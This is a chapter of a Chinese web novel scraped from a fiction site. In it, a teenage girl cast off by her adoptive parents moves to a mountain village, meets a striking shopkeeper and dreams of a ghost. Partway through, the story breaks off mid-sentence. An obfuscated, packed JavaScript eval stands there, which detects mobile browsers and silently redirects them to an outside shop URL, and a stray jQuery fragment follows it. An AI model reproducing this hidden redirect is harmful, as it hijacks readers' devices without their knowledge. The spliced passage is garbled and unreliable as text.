文趣网 > 其他小说 > 大神村[中恐] > 3. 梦中艳鬼
    秦艽躺在床铺上,半响才翻了个身。半湿的头发散落在她肩头,身下的木床板发出一声轻叫,脑袋里充斥着这些天发生的所有事。

    窗外,山野的风转过屋舍的脊背,溜进房间,带着青涩的泥土香,虫鸣阵阵,时有三两声狗吠。

    她真的离开了生活了十几年的上海。

    一路辗转,回到了大人所说的她出生的乡村土地。

    她的心依旧空落落的,

    时至今日,她十六岁,刚刚上高一的年纪,也算懂事的年纪。可她对自己的处境感到迷茫,对未来更是没有想法,她只知道她现在唯一的路就是好好读书,然后考出去,回到大城市,就算不回上海,也要去个一线城市。

    就在少女怀揣着对未来的迷茫,不知所措时,沉寂了数天的手机突然响起铃声。

    看清来电人,秦艽深呼吸了好几下,这才将电话接听,不情愿地将手机贴在了耳边。

    叶鹏程的声音冷淡,"你到了吗?"

    "嗯。"秦艽闷闷地应了一声。

    "刚才你妈给你打电话你为什么不接?"

    "刚才在洗澡,"说着,秦艽停顿了一下,将自己的声音压低。"还有,她已经不是我妈了。"

    叶鹏程沉默了许久,传导过来的呼吸有些沉重,男人在忍耐着脾气,但最终还是没忍住。"你还真是冷血。"

    “虽说没有血缘关系,但也算锦衣玉食地养了你十几年,这才过了多久你就不认我们了。我们这么好吃好喝地养条狗,狗都要对我们无时无刻摇尾巴呢。你呢,长这么大也就学会了怎么顶撞父母,没有一刻是让人省心的,谁养了你这样的女儿都是上辈子造了孽。”

    "叶鹏程,"秦艽忍不住打断了他。"不是你们说的吗,我回我的老家,你们生你们的亲生骨肉。我们再也没有任何关系了。"

    秦艽也努力耐着性子,可眼泪烫得她眉头紧拧,下唇也颤个不听,声音因此断断续续,不成体统。

    “叶鹏程,要说起冷血,谁比得上你们夫妻。”

    "你叫我什么?"叶鹏程不可置信。

    秦艽咬着牙床,稳住声线。"叶鹏程。"

    "我还能叫你什么,你指望我叫你什么?爸爸?"

    "当初你们瞒着我生二胎,完全不给我时间缓和就告诉我的真实身份的时候,我就再也叫不出口了。我听到父母这两个字我就想吐,你现在这副嘴脸是什么意思,想关心我,还是继续来数落我?"

    “叶鹏程,你别做梦了。”

    “我姓秦,我不是你们的孩子了。你没资格关心我,更没资格数落我。”

    叶鹏程气息不稳,怒不可遏,如十几年以来时刻对她怀揣着极致的不满,终于下了结论。

    "叶艽,你真的不是我生的。"

    “你不亏是出生在小地方的人,浑身上下都是刺,令人厌烦。身上流的血也是飞扬跋扈、狂妄自大,目无尊长的血。我和淑华养了你这种白眼狼真是我们这辈子最大的污点,以后不要再联系了。"

    “你真让我失望。”

    电话挂断了,耳畔只剩下死寂的回音。

    秦艽早就没了与其继续争辩的力气。她垂下脸,长发将她整张脸遮住,随着长发散落的,还有几滴泪珠。

    泪珠落在亮起又熄灭的手机屏幕上,秦艽看着微信通知的来自"老爸"的转账,一笔三万块的断亲费。

    她的声音沙哑地拖出来。"你们也让我失望,……爸爸。"

    ……

    不知过了多久,秦艽再次收拾好心情。等到手机铃声再次响起,秦艽这次看了来电人就立马按了接听键。

    “艽宝!你可算是接电话了。”沈佳怡欢快的声音从听筒里炸出来。

    “我爸妈把我手机没收了,我刚解放就立马给你打电话了,结果你一直不接,真的担心死我了。”

    “我还以为你背着我偷偷哭呢。”

    秦艽翻了个白眼,"我才不会偷偷哭呢,多丢人啊。"

    “才不丢人好吧!”

    “我要是你,一下子经历了这么多事,我真的会找块豆腐撞死的,哝晓得叭?!”

    “虽然说我爸妈每天也嫌弃我数落我,还时不时停掉我的生活费,没收我的手机之类的,但要是告诉我他们其实不是我的亲爸妈我真的是受不了啊!太恐怖了!我可怜的艽宝!”

    “你爸妈真的不是好东西!”

    秦艽倒回床上,在枕头上蹭了一下。她轻轻吸了下鼻子,酸涩的间隙中,还有床上用品淡淡的皂角香。

    “我才不可怜呢。”她说。

    “他们也不是我爸妈了。”

    “不是不是,他们才不配呢。”沈佳怡迎合着她,哄小孩似的。"我们艽宝,我们囡囡啊,是这个世界上最可爱的女孩了,才不可怜呢,最可爱了。"

    秦艽被她拿腔作调的话语逗得发笑,侧躺在床上轻轻地颤。

    “这个词跟我又有什么关系……”才不可爱呢……

    “嘿嘿,那边怎么样啊?你跟我讲讲呗,我还从来没有去过深海市呢。”

    “不好。”

    “他们这边的家乡话我听不懂,人也有些神神叨叨的。”

    “小地方,路窄房矮屋子小。你知道吗,我现在躺在一张一米五的小床上,翻身它就响,感觉好憋屈。”

    “这里靠着山,晚上冷,虫子好多,好潮湿,空气里都是泥腥味。信号也挺差的,感觉要是雷雨天,就会跟你失联了。”

    “今天还遇到这里的学生了,打架欺负同学,强迫别人早恋,这要是让老吴听说了,真的会大叫世界疯了。”

    沈佳怡听得连连惊呼,忍不住道:"说起老吴,你都不知道,你走了之后老吴每天茶不思饭不想,每天就抱着枸杞茶吊命呢。"

    “有这么夸张吗?”秦艽笑了。

    "可不是嘛!你是他教学生涯里最拿得出手的学生了!有你坐镇,老吴每天出去做学术交流都挺直腰杆了。现在好了,痛失爱将,他完全没有资本跟隔壁班的老张比了,每天唉声叹气的,你的省级联赛也打水漂了,他现在估计每天都躲在办公室哭呢。"

    “还有人想我,挺感谢的。”秦艽说。

    "想你的多了,我就特别想你。艽宝你知道吗,你不在了我觉得好孤单,上课没人跟我说话,考试没有人帮我作弊,晚自习也没有人陪我逃课了。你根本不知道你对我有多重要,你别看我每天都笑呵呵的,但你不在了我都有点厌学情绪了,我妈还给我请心理医生了。我好想你,隔壁班赵越的篮球赛我也不想去看了。"

    沈佳怡的声音带着哭腔,秦艽听见她吸鼻子的声音,好像看见她胡乱擦眼泪的可怜模样。

    秦艽心中一沉,寻着她的话转移了话题。"连你男神赵越都不去看了,那真的是太严重了。"

    "可不是嘛。"沈佳怡的声音闷闷的,嘀嘀咕咕的。"男神算什么,要是能让你有一对好父母,姐们愿意献祭自己一辈子的烂桃花。"

    秦艽嗤笑出声。

    “沈小怡,拿我许愿呢?”

    沈佳怡也忍不住笑了出来。"哪有,我说的都是真心话,我可想你了。"

    “等放假了我一定去深海市找你玩,到时候你可要好好招待我。”

    秦艽看了看自己现在的房间,真是家徒四壁。不免涌出一丝心酸。

    “行啊,那你来的时候给我带点好东西,我现在的处境比流放宁古塔的甄嬛父母好不了哪里去。”

    沈佳怡立马来了兴致,"诶,你有什么特别需要的吗,我周六给你买了寄过去。"

    “先说好了,不能超过我三个月零花钱。”

    秦艽嗯了一声,真的仔细想了起来。

    “你爸爸不是去法国出差了吗?让他帮我带套画具吧,我那套让我……”爸字没说出口,秦艽赶忙换了称呼。"叶鹏程给我砸了。"

    “可以啊,我这就去给我爸打电话。”沈佳怡说着就要去做。

    “艽宝,你早点睡吧啊,晚安晚安,爱你爱你。”

    话音刚落,电话就被掐断了。沈佳怡一如既往风风火火,估计现在已经拨通远在法国出差的老爸的电话了。

    秦艽轻笑了一下,不由低头看了眼时间。【21:15】

    时候还早。她其实有些饿了。晚上没有来得及吃饭,因为和胡霜不熟,所以也没有好意思去说,而且好像胡霜并不爱做饭。

    还是去外面买点吃的吧。今天石普送她回家,她注意到离家里不远的地方有一个小卖铺,就在隔壁前街。

    秦艽还是把断亲费领了。然后查看了一下卡内的余额,不多不少13万8千块。这笔钱可以做她高中三年的生活费以及上大学的学费,省吃俭用一些还是够用的。

    她这才意识到,十几年的感情,断亲费还不如她之前一个月的零花钱多。

    秦艽摇了摇头,将杂念从脑袋里甩出去,披了件外套就出了门。

    …………

    山里的夜凉,潮气从她的脚跟向上爬,等到她走到小卖铺时,双腿冷得打哆嗦了。

    她迫不及待从小门挤进去,小卖铺的吊灯晃了一下她的眼,然后她看清了里头的构造。

    铺门很小,铺面却不算小。分区明确,零食日用花样很多,还有一片文具区躺在最里面。

    秦艽买了些全麦面包和无糖酸奶充饥,还买了一些日用,虽然她先前从不用这些家喻户晓的平民牌子,但她可不想再用香皂洗头洗全身了。

    最后还挑了几根笔,晨光得力点石,还有几个不知名牌子的本子,明天就要去学校报道了,总得有能勉强能用的文具。

    不一会儿柜台就让她摆满了。

    准备结账时,秦艽注意到了柜台里坐着的人。一个女孩,看起来比她大两岁的样子,长得有些太漂亮了。

    一张精致的窄脸,五官的每一处都是顶配。秦艽是个很挑拣的人,能让她心服口服说好看的并不多,眼前这个人算一个。

    只不过她衣品很差,穿的很普通,宽松的白t,破洞牛仔短裤,大拖鞋。

    女孩睡得很熟,挂在墙上的摇头风扇吹动她的长发,抚摸她的脸颊。

    秦艽甚至有些不好意思打破别人的美梦,可她饿了。

    她轻轻敲了下柜台。"姐姐,麻烦帮我结一下账。"

    女孩睫毛轻颤,睁开了眼

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17888604|212669||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。看见来人,熟练地站起身装袋算账,就是那双眼睛睁开之后就时不时盯着她看。

    那双眼睛生得浓艳,更衬着这张脸明艳不可方物。偏偏还要冲着她笑,艳里藏锋,笑里藏钩,扰得秦艽心口闷闷的。

    她垂下发烫的脸,"多少钱?"

    “58块。不过你是新客,给你抹个零,你扫50块就行。”

    声音醇厚,低音磁性。绝不是女生的声音。

    秦艽大脑宕机了一瞬,心跳更是失了控。她下意识抬起脸,视线与那双笑眼对撞。

    长发男生将袋子递到她手里,"不是姐姐,下次不要再叫错了。"

    秦艽快速眨了眨眼,慌忙付了钱,“抱歉。钱付过去了。”

    社会性死亡的她刚准备跑路,就被男生叫住了。

    “稍等。”

    “嗯?”

    男生从柜台的抽屉里取出一个瓷瓶,看起来是什么自制药膏之类的,相当顺手地被男生塞进了袋子里。

    “嗯?”

    “你的腿。”

    秦艽顺着他的视线向下看,才发现两条腿上各有擦伤,是帮小矮子打架时留下的。

    除了腿,她脖子和手臂也有伤,只是被衣服遮住了。

    “这个药膏是我妈做的,挺好用的,你回去涂了第二天就好了。平常也可以涂一些用来防蚊虫。”男生耐心的解释。

    秦艽作势又要扫码,"多少钱?"

    “不要钱。”男生扣住她的手机摄像头,推回给她。

    好凉,他的手好凉。秦艽愣了一下。

    不等她周旋,男生看了眼时钟,下了逐客令。

    "时候不早了,我要关门了,你回家吧。"

    然后等秦艽反应过来的时候,她已经被推出了小门。

    小门关得绝情,生怕她二话不说扫钱似的。

    秦艽回头看了一眼,透过小门的小窗,她看见男生撩起长发时露出的脖颈,白皙又流畅,手指骨节分明,纤长有力……

    “啪嗒。”

    灯灭了,

    什么都看不见了。

    …………

    回家后,吃饱喝足,秦艽取出了那瓶药膏。刚拧开时,刺鼻的草药味冲得她咳嗽了两声,膏体是淡淡的黑色。

    秦艽用手指挖起一勺,凉的。

    她弯着腿,将药涂在腿上。刚涂开时只觉得凉,过一会儿就有些麻麻的,很奇怪的感觉,但好在不疼了,是挺管用的。

    改天再去买一些吧。

    明天就要去学校报道了,也不知道这个破地方的学校怎么样……不会全是混的人吧……

    秦艽躺在床上,吹着山里的夜风,脑子里东想西想,不一会儿就犯了困。

    这些天她一直在匆匆忙忙的赶路,已经很久没有睡一个好觉了。

    闭上眼就沉沉睡了过去……

    可她却做梦了。

    还是噩梦。

    梦里,她躺在这张一米五的小床上,不得动弹。一个很高的人站在她的床边,长发白衣,秦艽看不清那人的表情,但却清楚对方正在死死盯着自己。

    秦艽很想挣扎,想坐起来,想质问对方是谁,想干什么,想狠狠扇对方的脸。

    可她手不能抬,口不能言,只有急促的心跳声充斥着她的梦境。

    突然,

    那人朝她附身,浓黑的长发落在她身上,几缕发尾扫在她的鼻尖、脸颊,和睫毛上。

    好香。

    浓郁到刺鼻的香味。

    秦艽蹙着眉,浑身都憋红了,还是动不得分毫。

    “你不要怕。”

    声音好模糊,模糊到她分不清对方的性别,只勉强听得清话语。

    那人几乎要贴在她身上说,她的指缝钻进冷硬的阴风,像是有人强迫着与她十指相扣,扣得非常紧。

    冷气压了下来,将她的每一寸皮肤都侵染,像无数根缠绵悱恻的小刺,又像无数条蔓延生长的菌丝,它们隔着她的皮肤往血肉里扎。

    秦艽先是感觉到凉意,然后整个身体都麻了。她的身体上什么都没有,却又如同压了千金之物……有东西在钻进她的皮里,胀进她的肉里,想要和她融为一体。

    秦艽觉得窒息,不是她的呼吸被夺走了,是她的灵肉觉得窒息,她的身体属于她,却也属于他者,属于眼前这个看不清面貌的、妄图住进她身体里,与她灵肉拥抱的人。

    这种感觉令她出了一身冷汗,她想抓住床单借力,想握拳挥打。可那与她十指相扣的阴风死死牵着她的手指,直到她的双手冷得发麻,阴风就开始沿着指缝向上攀爬。

    逐渐地,一切变得混沌……

    不知名的冷意越探越深,将她的三魂七魄摸了个干净彻底,而她连叫都叫不出声,太可怕了。

    “你不要怕……”鬼魅的声音再次响起,落在她耳边,激在她心头。

    “我就在这里,只有你和我,我们两个。”

    ta安慰她。

    正是因为你在这里……我才会怕。秦艽很想怒骂他,哪里来的孤魂野鬼拖错梦了。

    我不是你的爱人。

    笨蛋。

    …………